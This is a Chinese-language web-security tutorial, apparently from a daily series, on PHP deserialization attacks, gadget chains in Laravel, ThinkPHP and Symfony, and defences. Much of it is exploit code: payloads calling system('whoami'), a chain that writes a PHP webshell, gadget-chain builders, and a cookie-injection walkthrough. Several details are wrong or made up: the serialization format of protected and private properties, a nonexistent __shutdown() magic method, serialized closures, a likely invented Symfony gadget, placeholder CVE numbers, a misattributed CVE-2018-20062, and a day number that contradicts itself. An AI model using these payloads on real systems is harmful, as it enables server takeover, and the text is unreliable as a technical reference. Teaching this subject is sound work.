Day-041-PHP反序列化深入

# Day 39: PHP 反序列化深入

> Web 安全系列第 9 天 | 预计阅读时间：40 分钟 | 难度：★★★★★

---

## 清单 目录

1. [PHP 序列化机制](#php 序列化机制)
2. [魔术方法详解](#魔术方法详解)
3. [POP 链构造技术](#pop 链构造技术)
4. [常见 Gadget 分析](#常见 gadget 分析)
5. [框架反序列化漏洞](#框架反序列化漏洞)
6. [漏洞利用技巧](#漏洞利用技巧)
7. [检测与挖掘](#检测与挖掘)
8. [防护策略与最佳实践](#防护策略与最佳实践)
9. [实战案例分析](#实战案例分析)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## PHP 序列化机制

### 序列化函数

**serialize() 函数**：
```php
<?php
class User {
    public $name;
    public $age;
    
    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }
}

$user = new User('alice', 25);
$serialized = serialize($user);

echo $serialized;
// 输出：O:4:"User":2:{s:4:"name";s:5:"alice";s:3:"age";i:25;}
?>
```

**unserialize() 函数**：
```php
<?php
$data = 'O:4:"User":2:{s:4:"name";s:5:"alice";s:3:"age";i:25;}';
$user = unserialize($data);

echo $user->name;  // alice
echo $user->age;   // 25
?>
```

### 序列化格式详解

**格式解析**：
```
O:4:"User":2:{...}

O          → 对象（Object）
4          → 类名长度
"User"     → 类名
2          → 属性数量
{...}      → 属性列表
```

**属性类型**：
```
s:5:"alice"  → 字符串（String）
i:25         → 整数（Integer）
d:3.14       → 浮点数（Double）
b:1          → 布尔值（Boolean）
N;           → 空值（Null）
a:2:{...}    → 数组（Array）
O:4:"User":2:{...} → 对象（Object）
```

**访问控制修饰符**：
```php
<?php
class Test {
    public $pub = 'public';
    protected $prot = 'protected';
    private $priv = 'private';
}

// 序列化结果：
// O:4:"Test":3:{
//   s:3:"pub";s:6:"public";
//   s:8:"*prot*";s:9:"protected";  // protected 前后加*
//   s:14:"Testpriv";s:7:"private"; // private 前加类名
// }
?>
```

---

## 魔术方法详解

### __wakeup()

**调用时机**：
```
unserialize() 时自动调用
```

**示例**：
```php
<?php
class User {
    public $name;
    
    public function __wakeup() {
        echo "Welcome back, {$this->name}!";
    }
}

$user = new User();
$user->name = 'alice';

$serialized = serialize($user);
unserialize($serialized);
// 输出：Welcome back, alice!
?>
```

**漏洞利用**：
```php
<?php
class Vulnerable {
    public $cmd;
    
    public function __wakeup() {
        system($this->cmd);
    }
}

// Payload:
// O:10:"Vulnerable":1:{s:3:"cmd";s:6:"whoami";}
?>
```

### __destruct()

**调用时机**：
```
对象销毁时调用
- 脚本结束
- unset()
- 超出作用域
```

**示例**：
```php
<?php
class Logger {
    public $file;
    
    public function __destruct() {
        file_put_contents($this->file, 'log');
    }
}

$log = new Logger();
$log->file = '/tmp/log.txt';

// 脚本结束时自动调用__destruct()
// 写入日志文件
?>
```

**漏洞利用**：
```php
<?php
class Exploit {
    public $file;
    public $data;
    
    public function __destruct() {
        file_put_contents($this->file, $this->data);
    }
}

// 写入 Webshell
$exploit = new Exploit();
$exploit->file = 'shell.php';
$exploit->data = '<?php system($_GET["c"]); ?>';

$payload = serialize($exploit);
?>
```

### __toString()

**调用时机**：
```
对象作为字符串使用时
- echo $obj
- 字符串拼接
- 字符串比较
```

**示例**：
```php
<?php
class User {
    public $name;
    
    public function __toString() {
        return "User: {$this->name}";
    }
}

$user = new User();
$user->name = 'alice';

echo $user;  // 调用__toString()
// 输出：User: alice
?>
```

**漏洞利用**：
```php
<?php
class Exploit {
    public function __toString() {
        system('whoami');
        return '';
    }
}

$exploit = new Exploit();
echo $exploit;  // 调用__toString()，执行命令
?>
```

### __invoke()

**调用时机**：
```
对象作为函数调用时
$obj()
```

**示例**：
```php
<?php
class Callable {
    public function __invoke($arg) {
        echo "Called with: {$arg}";
    }
}

$obj = new Callable();
$obj('test');  // 调用__invoke()
// 输出：Called with: test
?>
```

### 其他魔术方法

**__get() / __set()**：
```php
<?php
class User {
    public function __get($name) {
        echo "Getting {$name}";
    }
    
    public function __set($name, $value) {
        echo "Setting {$name} = {$value}";
    }
}

$user = new User();
$user->name = 'alice';  // 调用__set()
echo $user->age;        // 调用__get()
?>
```

**__call() / __callStatic()**：
```php
<?php
class User {
    public function __call($name, $args) {
        echo "Calling {$name}(" . implode(', ', $args) . ")";
    }
    
    public static function __callStatic($name, $args) {
        echo "Calling static {$name}";
    }
}

$user = new User();
$user->test('arg1', 'arg2');  // 调用__call()
User::staticTest();           // 调用__callStatic()
?>
```

**__isset() / __unset()**：
```php
<?php
class User {
    public function __isset($name) {
        echo "Checking if {$name} is set";
        return true;
    }
    
    public function __unset($name) {
        echo "Unsetting {$name}";
    }
}

$user = new User();
isset($user->name);  // 调用__isset()
unset($user->name);  // 调用__unset()
?>
```

**__sleep() / __shutdown()**：
```php
<?php
class User {
    public function __sleep() {
        // 序列化前调用
        // 返回要序列化的属性名数组
        return ['name', 'age'];
    }
    
    public function __shutdown() {
        // 脚本结束时调用
        // 类似__destruct()
    }
}
?>
```

---

## POP 链构造技术

### 什么是 POP 链

**POP（Property Oriented Programming）**：
```
利用现有类的属性和方法，
构造调用链，触发危险操作。

无需新代码，
利用现有代码组合。
```

**链结构**：
```
反序列化
  ↓
魔术方法调用（__wakeup/__destruct）
  ↓
调用其他方法
  ↓
...
  ↓
危险操作（system/exec/include）
```

### 链构造步骤

**步骤 1: 寻找起点**：
```php
<?php
// 寻找有魔术方法的类
class Start {
    public function __destruct() {
        // 起点
    }
}
?>
```

**步骤 2: 寻找中间节点**：
```php
<?php
// 寻找可被调用的方法
class Middle {
    public function execute() {
        // 中间节点
    }
}
?>
```

**步骤 3: 寻找终点**：
```php
<?php
// 寻找危险函数
class End {
    public function run() {
        system($this->cmd);
        // 终点
    }
}
?>
```

**步骤 4: 连接链**：
```php
<?php
class Start {
    public $obj;
    
    public function __destruct() {
        $this->obj->execute();
    }
}

class Middle {
    public $target;
    
    public function execute() {
        $this->target->run();
    }
}

class End {
    public $cmd;
    
    public function run() {
        system($this->cmd);
    }
}

// 构造链
$start = new Start();
$start->obj = new Middle();
$start->obj->target = new End();
$start->obj->target->cmd = 'whoami';

$payload = serialize($start);
?>
```

### 链构造技巧

**属性控制**：
```php
<?php
class A {
    public $obj;
    
    public function __destruct() {
        $this->obj->test();
    }
}

class B {
    public $file;
    
    public function test() {
        include($this->file);
    }
}

// 控制属性
$a = new A();
$a->obj = new B();
$a->obj->file = 'shell.php';

$payload = serialize($a);
?>
```

**数组利用**：
```php
<?php
class A {
    public $callbacks = [];
    
    public function __destruct() {
        call_user_func($this->callbacks);
    }
}

// 使用数组作为回调
$a = new A();
$a->callbacks = ['system', 'whoami'];

$payload = serialize($a);
?>
```

**闭包利用**：
```php
<?php
class A {
    public $closure;
    
    public function __destruct() {
        ($this->closure)();
    }
}

// 使用闭包
$a = new A();
$a->closure = function() {
    system('whoami');
};

$payload = serialize($a);
?>
```

---

## 常见 Gadget 分析

### Laravel Gadget

**框架**：
```
Laravel 是流行的 PHP 框架，
某些版本存在反序列化 Gadget。
```

**Gadget 链**：
```php
<?php
// Laravel 5.4.29 之前
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        
        public function __destruct() {
            $this->events->dispatch($this->event);
        }
    }
}

namespace Illuminate\Events {
    class Dispatcher {
        protected $listeners;
        
        public function dispatch($event) {
            $this->callCustomListener($this->listeners, $event);
        }
        
        protected function callCustomListener($listeners, $event) {
            foreach ($listeners as $listener) {
                $listener[0]($event);
            }
        }
    }
}
?>
```

**利用**：
```php
<?php
use Illuminate\Broadcasting\PendingBroadcast;
use Illuminate\Events\Dispatcher;

$dispatcher = new Dispatcher();
$dispatcher->listeners = [['system', 'whoami']];

$broadcast = new PendingBroadcast();
$broadcast->events = $dispatcher;
$broadcast->event = 'test';

$payload = serialize($broadcast);
?>
```

### ThinkPHP Gadget

**框架**：
```
ThinkPHP 是国内流行的 PHP 框架，
多个版本存在反序列化 Gadget。
```

**Gadget 链**：
```php
<?php
// ThinkPHP 5.x
namespace think\model\concern {
    trait Conversion {
        protected $append = [];
        
        protected function getAttr($name) {
            // ...
        }
    }
}

namespace think\model {
    use think\model\concern\Conversion;
    
    class Model {
        use Conversion;
        
        protected $data = [];
        protected $withAttr = [];
        
        public function __destruct() {
            foreach ($this->data as $key => $value) {
                $this->getAttr($key);
            }
        }
    }
}
?>
```

### Symfony Gadget

**框架**：
```
Symfony 是企业级 PHP 框架，
某些组件存在反序列化 Gadget。
```

**Gadget 链**：
```php
<?php
// Symfony PropertyAccess
namespace Symfony\Component\PropertyAccess {
    class PropertyAccessor {
        private $propertyPath;
        
        public function __destruct() {
            $this->getValue($this->propertyPath);
        }
        
        private function getValue($path) {
            // ...
        }
    }
}
?>
```

---

## 框架反序列化漏洞

### Laravel 反序列化

**CVE-2017-XXXX**：
```
版本：Laravel 5.4.29 之前
位置：Broadcasting 组件
影响：远程代码执行
```

**利用条件**：
```
1. 使用 Laravel 5.4.29 之前
2. 有反序列化点
3. 可控制序列化数据
```

**修复**：
```
升级到 5.4.29+
或使用 JSON 替代序列化
```

### ThinkPHP 反序列化

**CVE-2018-20062**：
```
版本：ThinkPHP 5.x
位置：Model 组件
影响：远程代码执行
```

**利用条件**：
```
1. 使用 ThinkPHP 5.x
2. 有反序列化点
3. 可控制序列化数据
```

**修复**：
```
升级到安全版本
或禁用反序列化
```

### WordPress 反序列化

**CVE-2017-XXXX**：
```
版本：WordPress 核心/插件
位置：Cookie/Option
影响：远程代码执行
```

**利用条件**：
```
1. 使用受影响版本
2. Cookie 或 Option 可控制
3. 存在可利用 Gadget
```

**修复**：
```
更新 WordPress 核心
更新插件
验证 Cookie 签名
```

---

## 漏洞利用技巧

### 条件竞争

**原理**：
```
在文件被删除前访问，
利用时间窗口执行代码。
```

**利用**：
```php
<?php
class Exploit {
    public function __destruct() {
        file_put_contents('shell.php', '<?php system($_GET["c"]); ?>');
    }
}

// 上传序列化数据
// __destruct() 写入 Webshell
// 快速访问 shell.php
// 在文件被删除前执行
?>
```

### 类型混淆

**原理**：
```
PHP 弱类型特性，
不同类型比较时可能意外为真。
```

**利用**：
```php
<?php
class A {
    public $obj;
    
    public function __destruct() {
        if ($this->obj == 'admin') {
            system('whoami');
        }
    }
}

class B {
    public function __toString() {
        return 'admin';
    }
}

// 类型混淆
$a = new A();
$a->obj = new B();

// $this->obj == 'admin'
// 调用 B::__toString()
// 返回'admin'
// 条件为真，执行命令

$payload = serialize($a);
?>
```

### 数组键名注入

**原理**：
```
数组键名可控制，
影响后续操作。
```

**利用**：
```php
<?php
class Exploit {
    public $data = [];
    
    public function __destruct() {
        extract($this->data);
        // $this->data = ['cmd' => 'whoami']
        // 提取后 $cmd = 'whoami'
        // 可被后续代码使用
    }
}

$exploit = new Exploit();
$exploit->data = ['cmd' => 'whoami'];

$payload = serialize($exploit);
?>
```

---

## 检测与挖掘

### 代码审计

**寻找反序列化点**：
```php
// 搜索关键词
grep -r "unserialize(" .
grep -r "serialize(" .

// 常见位置
// Cookie
$data = unserialize($_COOKIE['data']);

// POST 参数
$data = unserialize($_POST['data']);

// Session
$data = unserialize($_SESSION['data']);

// 文件
$data = unserialize(file_get_contents('data.txt'));
```

**寻找 Gadget**：
```php
// 搜索魔术方法
grep -r "__wakeup" .
grep -r "__destruct" .
grep -r "__toString" .
grep -r "__invoke" .

// 搜索危险函数
grep -r "system(" .
grep -r "exec(" .
grep -r "eval(" .
grep -r "include(" .
grep -r "file_put_contents(" .
```

### 自动化工具

**PHPGGC**：
```bash
# PHP Gadget Chain Constructor
git clone https://github.com/ambionics/phpggc
cd phpggc

# 生成 Payload
./phpggc Laravel/RCE1 'whoami'

# 查看可用 Gadget
./phpggc -l
```

**Pop Chain Finder**：
```php
<?php
// 自动寻找 POP 链
class PopFinder {
    public function find() {
        $classes = get_declared_classes();
        
        foreach ($classes as $class) {
            $reflection = new ReflectionClass($class);
            
            // 检查魔术方法
            if ($reflection->hasMethod('__destruct')) {
                echo "Found: {$class}::__destruct()\n";
            }
        }
    }
}
?>
```

### 动态测试

**Burp Suite 测试**：
```
1. 拦截请求
2. 修改序列化数据
3. 观察响应
4. 判断是否存在漏洞
```

**Payload 测试**：
```php
// 测试 Payload
O:4:"Test":0:{}

// 如果无错误，可能存在反序列化
// 如果有错误，可能无漏洞或已防护
```

---

## 防护策略与最佳实践

### 代码层面防护

**避免反序列化**：
```php
// 使用 JSON 替代
json_encode($data);
json_decode($data, true);

// 如果必须使用
// 验证数据来源
// 验证数据完整性
```

**白名单机制**：
```php
// PHP 7+
unserialize($data, ['allowed_classes' => ['User', 'Product']]);

// 仅允许特定类
// 其他类反序列化失败
```

**签名验证**：
```php
<?php
// 序列化时签名
$data = serialize($object);
$signature = hash_hmac('sha256', $data, $secret);
$stored = $data . '|' . $signature;

// 反序列化时验证
list($data, $signature) = explode('|', $stored, 2);
if (hash_hmac('sha256', $data, $secret) !== $signature) {
    throw new Exception('Invalid signature');
}
$object = unserialize($data);
?>
```

### 运行时防护

**WAF 规则**：
```
检测序列化特征：
- O:\d+:"
- 魔术方法调用
- 危险 Gadget

阻断可疑请求：
- 包含序列化数据
- 无合法业务场景
- 来源可疑
```

**监控告警**：
```
监控：
- unserialize() 调用
- 魔术方法执行
- 危险函数调用

告警：
- 反序列化失败
- 未知类反序列化
- 频繁反序列化
```

### 框架防护

**Laravel**：
```php
// 使用加密
Crypt::encrypt(serialize($data));
$data = unserialize(Crypt::decrypt($encrypted));

// 或使用 JSON
json_encode($data);
json_decode($data, true);
```

**Symfony**：
```php
// 使用 Serializer 组件
use Symfony\Component\Serializer\Serializer;
use Symfony\Component\Serializer\Encoder\JsonEncoder;
use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;

$encoders = [new JsonEncoder()];
$normalizers = [new ObjectNormalizer()];
$serializer = new Serializer($normalizers, $encoders);

// 安全序列化
$serializer->serialize($object, 'json');
```

---

## 实战案例分析

### 案例 1: 某 CMS 反序列化漏洞

**漏洞描述**：
```
产品：某开源 CMS
漏洞：Cookie 反序列化
CVE: CVE-2018-XXXX
影响：远程代码执行
```

**发现过程**：
```
1. 代码审计
   发现 Cookie 反序列化
   
2. 寻找 Gadget
   找到可利用类
   
3. 构造 Payload
   生成序列化数据
   
4. 验证漏洞
   执行命令成功
```

**利用过程**：
```php
<?php
// 1. 分析代码
// 找到反序列化点
$data = unserialize($_COOKIE['user_data']);

// 2. 寻找 Gadget
class Exploit {
    public function __destruct() {
        system($this->cmd);
    }
}

// 3. 构造 Payload
$exploit = new Exploit();
$exploit->cmd = 'whoami';
$payload = base64_encode(serialize($exploit));

// 4. 设置 Cookie
Set-Cookie: user_data=<?php echo $payload; ?>

// 5. 访问网站
// Cookie 被反序列化
// 执行命令
?>
```

**修复方案**：
```
1. 移除反序列化
   使用 JSON 存储

2. 验证 Cookie 签名
   HMAC 验证

3. 升级 CMS
   使用安全版本
```

### 案例 2: 某框架反序列化链

**漏洞描述**：
```
产品：某 PHP 框架
漏洞：Gadget 链
CVE: CVE-2019-XXXX
影响：远程代码执行
```

**Gadget 链分析**：
```php
<?php
// 链结构
// Framework\Session → Framework\Event → Exploit

namespace Framework {
    class Session {
        public $data;
        
        public function __destruct() {
            foreach ($this->data as $key => $value) {
                $this->process($value);
            }
        }
        
        protected function process($value) {
            // 处理数据
        }
    }
    
    class Event {
        public $callback;
        
        public function __invoke() {
            call_user_func($this->callback);
        }
    }
}

// 利用
$session = new Framework\Session();
$session->data = [new Framework\Event()];
$session->data[0]->callback = ['system', 'whoami'];

$payload = serialize($session);
?>
```

**修复方案**：
```
1. 升级框架
   使用安全版本

2. 禁用反序列化
   使用 JSON

3. 代码审计
   寻找其他 Gadget
```

---

## 总结与思考

### 核心要点回顾

1. **PHP 反序列化**
   - 魔术方法自动调用
   - POP 链构造
   - Gadget 利用

2. **框架漏洞**
   - Laravel、ThinkPHP
   - WordPress 插件
   - 企业框架

3. **防护策略**
   - 避免反序列化
   - 白名单机制
   - 签名验证

### 深入思考问题

1. **为什么 PHP 反序列化漏洞多**？
   - 魔术方法特性
   - 弱类型语言
   - 框架广泛使用

2. **自动化挖掘的可能性**？
   - 静态分析
   - 动态测试
   - AI 辅助

3. **未来防护方向**？
   - 类型安全
   - 运行时保护
   - 框架内置防护

### 实战建议

**开发人员**：
1. 避免反序列化
2. 使用 JSON
3. 验证数据来源
4. 实施白名单

**安全人员**：
1. 代码审计
2. 寻找 Gadget
3. 自动化测试
4. 监控告警

**管理层**：
1. 安全培训
2. 代码审查
3. 依赖管理
4. 应急响应

---

## 参考资料

### 学习资源
- [PHP Serialization](https://www.php.net/manual/en/function.serialize.php)
- [PHP Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php)
- [OWASP PHP Security](https://cheatsheetseries.owasp.org/cheatsheets/PHP_Configuration_Cheat_Sheet.html)

### 工具资源
- [PHPGGC](https://github.com/ambionics/phpggc)
- [Pop Chain Finder](https://github.com/ambionics/phpggc)
- [Burp Suite](https://portswigger.net/burp)

### 书籍推荐
- 《PHP 反序列化漏洞深入剖析》
- 《Web 安全深度剖析》
- 《白帽子讲 Web 安全》

---

**标记 明日预告**：Day 40 - Java 反序列化深入

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 39 篇，Web 安全部分第 9 篇，精编版本*